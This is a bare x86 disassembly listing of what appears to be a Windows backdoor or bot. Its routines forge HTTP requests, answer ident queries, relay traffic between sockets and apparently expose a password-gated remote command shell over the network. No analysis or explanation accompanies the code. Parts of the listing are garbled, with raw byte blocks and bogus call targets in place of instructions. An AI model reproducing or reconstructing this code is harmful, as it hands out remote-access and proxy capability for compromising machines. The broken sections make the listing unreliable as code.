arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CAF14
		push	6
		push	1
		push	2
		call	dword_4CB024
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CAFA4
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AAF9
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B8
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410154
		mov	eax, offset dword_43D158

loc_410154:				; CODE XREF: sub_4100DB+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CAFF4
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CAFBC
		pop	esi

loc_4101B8:				; CODE XREF: sub_4100DB+6Bj
		push	ebx
		call	dword_4CB03C
		call	dword_4CAEFC
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F8
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_4101F8:				; CODE XREF: sub_4100DB+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DB	endp

; ---------------------------------------------------------------------------

loc_4101FC:				; DATA XREF: ___:00401666o
					; sub_401ACD+4369o
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CAFA4
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CB024
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410360
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43DEEC[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CAFD0
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		push	5
		push	ebx
		call	dword_4CAFCC
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		mov	[ebp-0Ch], edi
		mov	edi, 200h

loc_410287:				; CODE XREF: ___:004102E6j
					; ___:00410349j ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CB038
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035B
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433FC4
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAFBC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410287
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F7F
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jz	loc_410287
		mov	dword ptr [ebp-8], 1
		jmp	loc_410287
; ---------------------------------------------------------------------------

loc_41035B:				; CODE XREF: ___:0041029Cj
		cmp	[ebp-8], esi
		jnz	short loc_410387

loc_410360:				; CODE XREF: ___:00410243j
					; ___:00410267j ...
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433F80
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_410387:				; CODE XREF: ___:0041035Ej
		push	ebx
		call	dword_4CB03C
		push	dword ptr [ebp-4]
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx

loc_4103AA:				; DATA XREF: sub_401ACD+613Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CAFA4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CB024
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410516
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43DEEC[ecx], eax
		call	dword_4CAEB4
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFD0
		test	eax, eax
		jnz	loc_410516
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CAFCC
		test	eax, eax
		jnz	loc_410516

loc_41045A:				; CODE XREF: ___:00410470j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB038
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045A
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_43402C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F6
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43DEE4[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053B
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		dw 29E8h
		dd 8B022601h, 0C969C44Dh, 234h,	8189C63Bh, 43DEF4h, 75391374h
		dd 63850FD0h, 6AFFFFFFh, 81E89032h, 0EB022600h,	96E890EDh
		dd 50022609h, 433FF068h, 4D0EE800h, 59590000h
; ---------------------------------------------------------------------------
		jmp	short loc_410519
; ---------------------------------------------------------------------------

loc_410516:				; CODE XREF: ___:0041040Dj
					; ___:00410441j ...
		mov	edi, [ebp+8]

loc_410519:				; CODE XREF: ___:00410514j
		push	edi
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	dword_4CB03C
		push	dword ptr [ebp-40h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi

loc_41053B:				; DATA XREF: ___:004104CEo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CB024
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F1
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CAFA4
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CAFE4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CB
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CB028
		jmp	short loc_4105D9
; ---------------------------------------------------------------------------

loc_4105CB:				; CODE XREF: ___:004105BAj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CAF5C

loc_4105D9:				; CODE XREF: ___:004105C9j
		cmp	eax, edi
		jz	loc_4106F1
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F1
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_4340B4
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F6
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43DEEC[ebx]
		mov	dword_43DEE4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43DEF0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410722
		push	edi
		push	edi
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4106DE

loc_41068B:				; CODE XREF: ___:00410698j
		cmp	[ebp-20h], edi
		jnz	short loc_41069A
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_41068B
; ---------------------------------------------------------------------------

loc_41069A:				; CODE XREF: ___:0041068Ej
		mov	ebx, 1000h

loc_41069F:				; CODE XREF: ___:004106DAj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAFBC
		cmp	eax, edi
		jle	short loc_4106F1
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41069F
		jmp	short loc_4106F1
; ---------------------------------------------------------------------------

loc_4106DE:				; CODE XREF: ___:00410689j
		call	near ptr 2670E9Dh
		nop
		push	eax
		push	offset unk_434074
		call	sub_415220
		pop	ecx
		pop	ecx

loc_4106F1:				; CODE XREF: ___:0041057Fj
					; ___:004105DBj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43DEEC[eax]
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	dword_4CB03C
		push	dword ptr [ebp-4]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx

loc_410722:				; DATA XREF: ___:0041066Bo
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h

loc_410759:				; CODE XREF: ___:0041079Ej
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43DEF0[esi]
		call	dword_4CAFBC
		test	eax, eax
		jle	short loc_4107A0
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43DEEC[esi]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410759

loc_4107A0:				; CODE XREF: ___:00410783j
		push	dword_43DEF0[esi]
		call	dword_4CB03C
		push	dword ptr [ebp-14h]
		call	sub_40B412
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		dd 2BF843E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43DEEC[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CAF8C
		test	eax, eax
		jnz	short loc_410843
		push	dword ptr [esi]
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		call	near ptr 26D0000h
		nop

loc_410843:				; CODE XREF: ___:00410829j
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAFBC
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CAEF8
		test	eax, eax
		jz	short loc_4108BC
		call	dword_4CAF38
		push	eax
		push	offset unk_43418C
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26D0000h

loc_4108BC:				; CODE XREF: ___:00410897j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CAF5C
		cmp	eax, edi
		jnz	short loc_4108E6
		push	dword ptr [ebp-18h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F4
; ---------------------------------------------------------------------------

loc_4108E6:				; CODE XREF: ___:004108CCj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0

loc_4108F4:				; CODE XREF: ___:004108E4j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_43D158
		push	dword ptr [esi]
		call	dword_4CAFF4
		cmp	dword_4CDD08, edi
		jnz	short loc_410956
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1E
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410956
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CAFF4
		push	dword ptr [esi]
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		call	near ptr 26D0000h
		nop

loc_410956:				; CODE XREF: ___:0041090Bj
					; ___:0041092Cj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434150
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_410CD5
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099D
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_434124
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26D0000h

loc_41099D:				; CODE XREF: ___:00410978j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4340F8
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26D0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C4	proc near		; CODE XREF: ___:00410859p
					; ___:00410866p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFBC
		cmp	eax, 1
		jnz	short loc_410A14
		mov	esi, [ebp+arg_4]

loc_4109E2:				; CODE XREF: sub_4109C4+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A09
		test	al, al
		jz	short loc_410A18
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFBC
		cmp	eax, 1
		jz	short loc_4109E2
		jmp	short loc_410A14
; ---------------------------------------------------------------------------

loc_410A09:				; CODE XREF: sub_4109C4+27j
		push	offset unk_4341B8
		call	sub_415220
		pop	ecx

loc_410A14:				; CODE XREF: sub_4109C4+19j
					; sub_4109C4+43j
		xor	eax, eax
		jmp	short loc_410A1B
; ---------------------------------------------------------------------------

loc_410A18:				; CODE XREF: sub_4109C4+2Bj
		push	1
		pop	eax

loc_410A1B:				; CODE XREF: sub_4109C4+52j
		pop	esi
		leave
		retn
sub_4109C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1E	proc near		; CODE XREF: ___:00410922p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A49
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4341E4
		call	sub_415220
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_410A49:				; CODE XREF: sub_410A1E+11j
		push	1
		pop	eax
		retn
sub_410A1E	endp

; ---------------------------------------------------------------------------
byte_410A4D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+23D4o
		dd 5A4EC81h, 458B0000h,	6A575608h, 0F08B5978h, 0FDECBD8Dh
		dd 16AFFFFh, 895FA5F3h,	1DCB8h,	5C858D00h, 50FFFFFAh, 20268h
		dd 1415FF00h, 33004CAFh, 74C63BF6h, 5468501Dh, 0E8004343h
		dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 2BF55BE8h
		dd 68579002h, 410CCBh, 169E890h, 0C0850235h, 0E8902975h
		dd 22603E1h, 43106850h,	59E80043h, 59000047h, 0FC15FF59h
		dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 21E89057h,	53022BF5h
		dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h
		dd 0B075FF00h, 0AFA415FFh, 66A004Ch, 66026A57h,	89E24589h
		dd 15FFE475h, 4CB024h, 0FB83D88Bh, 3B840FFFh, 8B000001h
		dd 106AB445h, 234C069h,	98890000h, 43DEECh, 50E0458Dh
		dd 0D015FF53h, 85004CAFh, 17850FC0h, 68000001h,	7FFFFFFFh
		dd 0CC15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342D4h
		dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h
		dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB038h
		dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h
		dd 0FFFF68h, 15FF5700h,	4CAF84h, 74FFF883h, 45B70FC5h
		dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB03015h, 858D5000h
		dd 0FFFFFBECh, 43429068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h
		dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh,	0A50CE850h
		dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh,	0E4888924h
		dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh,	4107BFh
		dd 56F0458Dh, 0E9E89050h, 8B0225F9h, 0C969B84Dh, 234h
		dd 8189C63Bh, 43DEF4h, 75391374h, 37850FC8h, 6AFFFFFFh
		dd 41E89032h, 0EB0225F9h, 56E890EDh, 50022602h,	43425468h
		dd 45CEE800h, 59590000h, 7D8B03EBh, 3815FF08h, 50004CAFh
		dd 0FBEC858Dh, 1C68FFFFh, 50004342h, 0AC15E8h, 0CC48300h
		dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh,	0FDF0858Dh
		dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h
		dd 50FFFFFBh, 4507E8h, 0FF575900h, 4CB03C15h, 15FF5300h
		dd 4CB03Ch, 0AEFC15FFh,	75FF004Ch, 0A750E8B4h, 5659FFFFh
		dd 0F336E890h, 335B022Bh, 244439C0h, 0C0940F04h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD5	proc near		; CODE XREF: ___:0041096Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E26
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43DEEC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF8
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D40
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_4343B4
		call	sub_415220
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7A
; ---------------------------------------------------------------------------

loc_410D40:				; CODE XREF: sub_410CD5+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AA
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D81
		call	near ptr 2670E9Dh
		nop
		push	eax
		push	offset unk_4343B4
		call	sub_415220
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 2680D1Dh

loc_410D7A:				; CODE XREF: sub_410CD5+69j
		xor	eax, eax
		jmp	loc_410E21
; ---------------------------------------------------------------------------

loc_410D81:				; CODE XREF: sub_410CD5+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 2760F0Ch
		sub	eax, ebx
		jz	short loc_410DDB
		dec	eax
		jz	short loc_410DD5
		dec	eax
		jz	short loc_410DC1
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_434380
		call	sub_415220
		pop	ecx
		pop	ecx
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------

loc_410DC1:				; CODE XREF: sub_410CD5+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------

loc_410DD5:				; CODE XREF: sub_410CD5+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DDF
; ---------------------------------------------------------------------------

loc_410DDB:				; CODE XREF: sub_410CD5+CFj
		push	ebx
		push	dword ptr [esi+14h]

loc_410DDF:				; CODE XREF: sub_410CD5+104j
		nop
		call	near ptr 2680D1Dh
		push	1
		push	dword ptr [esi+8]
		call	near ptr 26F0A14h
		nop

loc_410DF0:				; CODE XREF: sub_410CD5+EAj
					; sub_410CD5+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CB03C
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax

loc_410E21:				; CODE XREF: sub_410CD5+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E26	proc near		; CODE XREF: sub_410CD5+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F10
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E89
		call	near ptr 2670E9Dh
		nop
		push	eax
		push	offset unk_434464
		jmp	short loc_410EA9
; ---------------------------------------------------------------------------

loc_410E89:				; CODE XREF: sub_410E26+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB1
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_434424

loc_410EA9:				; CODE XREF: sub_410E26+61j
		call	sub_415220
		pop	ecx
		jmp	short loc_410EDF
; ---------------------------------------------------------------------------

loc_410EB1:				; CODE XREF: sub_410E26+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F1F
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F14
		push	offset unk_4343FC
		call	sub_4151AC

loc_410EDF:				; CODE XREF: sub_410E26+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEB
		push	[ebp+var_4]
		call	edi

loc_410EEB:				; CODE XREF: sub_410E26+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF6
		push	[ebp+var_8]
		call	edi

loc_410EF6:				; CODE XREF: sub_410E26+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410EFF
		push	eax
		call	edi

loc_410EFF:				; CODE XREF: sub_410E26+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F09
		push	eax
		call	edi

